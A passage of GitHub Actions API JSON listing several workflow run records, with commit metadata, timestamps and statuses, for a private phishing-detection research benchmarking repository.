","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":86949572,"node_id":"MDExOldvcmtmbG93UnVuODY5NDk1NzI=","head_branch":"bug_fix","head_sha":"3ee1de0caebf4339d5c7af7f7aed7f1c260ef2d2","run_number":172,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":626098740,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU2MjYwOTg3NDA=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/86949572","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/86949572","pull_requests":[],"created_at":"2020-04-24T17:19:25Z","updated_at":"2020-04-24T17:23:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/86949572/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/86949572/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/626098740","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/86949572/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/86949572/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/86949572/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"3ee1de0caebf4339d5c7af7f7aed7f1c260ef2d2","tree_id":"3f2bb09b506938870c9632778d3365efb6a33964","message":"added two hidden features and fixed soemthing","timestamp":"2020-04-24T17:19:08Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":74866545,"node_id":"MDExOldvcmtmbG93UnVuNzQ4NjY1NDU=","head_branch":"bug_fix","head_sha":"b99966d09cb4700ef01de7dbfccb53730cab8bfb","run_number":113,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":587297710,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODcyOTc3MTA=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/74866545","pull_requests":[],"created_at":"2020-04-10T00:22:18Z","updated_at":"2020-04-10T00:26:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/587297710","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74866545/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"b99966d09cb4700ef01de7dbfccb53730cab8bfb","tree_id":"e301b57664a73e04869a7b2e9220dfdfe9bc42ee","message":"double dots string for path caused error in linux environment.","timestamp":"2020-04-10T00:21:50Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":74476743,"node_id":"MDExOldvcmtmbG93UnVuNzQ0NzY3NDM=","head_branch":"master","head_sha":"d1e77f1638fcee4116dc62413bce31d0639d6f49","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":585868548,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODU4Njg1NDg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/74476743","pull_requests":[],"created_at":"2020-04-09T14:17:01Z","updated_at":"2020-04-09T14:21:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/585868548","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/74476743/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"d1e77f1638fcee4116dc62413bce31d0639d6f49","tree_id":"26d63a7617556383b09737b3d903fd476c1a503e","message":"Merge pull request #44 from sbaki2/bug_fix\n\nBug fix","timestamp":"2020-04-09T14:16:58Z","author":{"name":"Xin","email":"xin9186@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 